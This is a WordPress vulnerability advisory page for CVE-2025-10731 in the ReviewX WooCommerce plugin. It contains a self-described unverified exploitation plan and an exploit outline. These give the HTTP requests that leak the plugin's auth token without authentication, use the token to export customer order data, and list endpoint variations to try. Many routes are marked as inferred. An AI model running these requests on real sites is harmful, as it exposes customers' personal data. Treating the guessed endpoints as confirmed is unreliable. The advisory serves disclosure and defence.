CVE-2025-10731

ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 - Unauthenticated Sensitive Information Exposure to Data Export

mediumImproper Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.3.0
Patched in
1d
Time to patch

Description

The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the allReminderSettings function. This makes it possible for unauthenticated attackers to obtain authentication tokens and subsequently bypass admin restrictions to access and export sensitive data including order details, names, emails, addresses, phone numbers, and user information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2.12
PublishedMarch 22, 2026
Last updatedMarch 23, 2026
Affected pluginreviewx

What Changed in the Fix

Changes introduced in v2.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan details the exploitation of **CVE-2025-10731**, a sensitive information exposure vulnerability in the ReviewX plugin for WordPress. --- ### 1. Vulnerability Summary The ReviewX plugin (up to version 2.2.12) contains an improperly protected function named `allReminderSettings`. T…

Show full research plan

This research plan details the exploitation of CVE-2025-10731, a sensitive information exposure vulnerability in the ReviewX plugin for WordPress.


1. Vulnerability Summary

The ReviewX plugin (up to version 2.2.12) contains an improperly protected function named allReminderSettings. This function, likely exposed via a public WordPress REST API route or an unauthenticated AJAX action, returns the plugin's configuration settings. Crucially, these settings include the auth_token (or token) used for server-to-server communication between the WordPress site and the ReviewX cloud API.

An unauthenticated attacker can call this function to leak the token. Once obtained, this token can be used to authenticate against the plugin's internal REST API (defined in app/Api/WpApi.php), which provides endpoints for syncing and exporting sensitive WooCommerce order data and user information.

2. Attack Vector Analysis

  • Leakage Endpoint: GET /wp-json/reviewx/v1/all-reminder-settings (inferred REST route) or POST /wp-admin/admin-ajax.php?action=rvx_all_reminder_settings (inferred AJAX).
  • Data Export Endpoint: GET /wp-json/api/v1/orders or GET /wp-json/api/v1/users (inferred from app/Api/WpApi.php).
  • Authentication Level: Unauthenticated (for the leak); Token-based (for the data export).
  • Payload Parameter: None required for the leak.
  • Preconditions:
    1. ReviewX must be active and ideally "connected" or configured so that an auth_token exists in the database.
    2. WooCommerce must be installed with existing orders to demonstrate sensitive data exposure.

3. Code Flow

  1. Entry Point: A request is made to the allReminderSettings handler.
  2. Vulnerable Function: The allReminderSettings function is invoked.
  3. Sink: The function retrieves settings using get_option() or a similar helper that includes the result of Helper::getAuthToken() (referenced in app/Api/BaseApi.php).
  4. Information Exposure: The function returns the entire settings array as a JSON response to the unauthenticated requester.
  5. Pivot: The attacker extracts the token from the JSON.
  6. Secondary Access: The attacker uses this token in the X-Auth-Token or Authorization header (as seen in app/Api/WpApi.php) to access routes under /wp-json/api/v1/.

4. Nonce Acquisition Strategy

According to the vulnerability description, the initial exposure is unauthenticated. This typically implies a REST API route registered without a permission_callback or an AJAX action registered via wp_ajax_nopriv_.

If a nonce is required for the initial leak (e.g., if it's an AJAX action rvx_all_reminder_settings that is technically nopriv but checks a nonce), use the following strategy:

  1. The ReviewX plugin often localizes settings into the window object.
  2. Shortcode: Create a page with the [reviewx_summary_listing] or [reviewx_reviews] shortcode to ensure scripts are loaded.
  3. Command: wp post create --post_type=page --post_status=publish --post_content='[reviewx_summary_listing]'
  4. JS Variable: Use browser_eval to check for nonces:
    • browser_eval("window.rvx_params?.nonce")
    • browser_eval("window.rvx_admin?.nonce") (inferred)

5. Exploitation Strategy

Step 1: Token Leakage

Submit a request to the vulnerable endpoint to retrieve the authentication token.

Request:

GET /wp-json/reviewx/v1/all-reminder-settings HTTP/1.1
Host: target.local

(Note: If REST fails, try AJAX: POST /wp-admin/admin-ajax.php with action=rvx_all_reminder_settings)

Expected Response:

{
  "status": "success",
  "data": {
    "auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "reminder_settings": { ... }
  }
}

Step 2: Sensitive Data Export

Use the leaked token to access the internal API routes discovered in app/Api/WpApi.php. This API uses the base path /api/v1 relative to the WordPress REST root.

Request:

GET /wp-json/api/v1/orders HTTP/1.1
Host: target.local
X-Auth-Token: Bearer <LEAKED_TOKEN>
Authorization: Bearer <LEAKED_TOKEN>
Content-Type: application/json

6. Test Data Setup

  1. Install WooCommerce: Ensure the environment has WooCommerce active.
  2. Create Orders: Generate at least one order with a fake name, address, and phone number.
    • wp wc pocket create --user=1 (or manual order creation).
  3. Configure ReviewX: Go to ReviewX settings and ensure the "Review Reminder" feature is enabled. If possible, simulate a connection to ReviewX to ensure rvx_auth_token is populated in the wp_options table.
    • wp option update rvx_auth_token "COMPROMISED_SECRET_TOKEN_123"

7. Expected Results

  • Leak: The first request should return a JSON object containing a string identifiable as an API token or JWT.
  • Data Export: The second request, using the leaked token, should return a JSON list of WooCommerce orders including:
    • billing_first_name, billing_last_name
    • billing_email
    • billing_address_1
    • billing_phone

8. Verification Steps

  1. Token Verification: Use WP-CLI to confirm the leaked token matches the one in the database:
    • wp option get rvx_auth_token
  2. Access Verification: Confirm the data returned by the exploit matches the sensitive fields of an order:
    • wp wc order get <ID> --fields=billing

9. Alternative Approaches

  • Namespace Variations: If /wp-json/reviewx/v1/all-reminder-settings returns 404, try:
    • /wp-json/reviewx/v2/all-reminder-settings
    • /wp-json/rvx/v1/reminder-settings
  • AJAX Payload: If REST is disabled, test the AJAX entry point:
    • action: rvx_all_reminder_settings
    • action: reviewx_all_reminder_settings
  • Header Variations: Some implementations of X-Auth-Token in ReviewX might expect the token without the Bearer prefix. Try both.
Research Findings
Static analysis — not yet PoC-verified

Summary

The ReviewX plugin for WordPress exposes its internal authentication token through the publicly accessible allReminderSettings function. An unauthenticated attacker can retrieve this token and use it to authenticate against the plugin's administrative REST API endpoints, enabling unauthorized access and export of sensitive WooCommerce data, including customer names, emails, addresses, and order details.

Vulnerable Code

// app/Api/BaseApi.php
// This class demonstrates how the internal auth_token is retrieved and used for API communication,
// which becomes a vulnerability when the token is leaked via unauthenticated endpoints.

public function getDefaultHeaders() : array
{
    return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
}

---

// app/Api/WpApi.php
// Shows the internal REST API client using the token to authenticate requests to /api/v1 endpoints

protected function prepareHeaders() : array
{
    $headers = ['Content-Type' => 'application/json'];
    if ($this->token) {
        $headers['Authorization'] = 'Bearer ' . $this->token;
        $headers['X-Auth-Token'] = 'Bearer ' . $this->token;
    }
    return $headers;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.2.12/app/Api/BaseApi.php /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.3.0/app/Api/BaseApi.php
--- /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.2.12/app/Api/BaseApi.php	2025-10-15 13:32:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.3.0/app/Api/BaseApi.php	2025-12-22 12:17:34.000000000 +0000
@@ -35,6 +35,6 @@
      */
     public function getDefaultHeaders() : array
     {
-        return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
+        return ['Accept' => 'application/json', 'Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
     }
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.2.12/app/Api/WpApi.php /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.3.0/app/Api/WpApi.php
--- /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.2.12/app/Api/WpApi.php	2025-10-15 13:32:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/reviewx/2.3.0/app/Api/WpApi.php	2025-12-22 12:17:34.000000000 +0000
@@ -72,7 +72,6 @@
         $headers = ['Content-Type' => 'application/json'];
         if ($this->token) {
             $headers['Authorization'] = 'Bearer ' . $this->token;
-            $headers['X-Auth-Token'] = 'Bearer ' . $this->token;
         }
         return $headers;
     }

Exploit Outline

1. **Token Leakage**: Send an unauthenticated GET request to the REST endpoint `/wp-json/reviewx/v1/all-reminder-settings` or an AJAX request with the action `rvx_all_reminder_settings`. 2. **Extract Token**: Parse the JSON response and extract the `auth_token` or `token` value from the configuration data. 3. **Identify Internal Routes**: Target internal administrative API routes located under the `/wp-json/api/v1/` namespace (e.g., `/wp-json/api/v1/orders`). 4. **Bypass Authorization**: Include the leaked token in the `Authorization: Bearer <TOKEN>` or `X-Auth-Token: Bearer <TOKEN>` HTTP header in a new request to the internal routes. 5. **Exfiltrate Data**: The server will treat the request as authenticated, returning sensitive WooCommerce order and user data in the response body.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.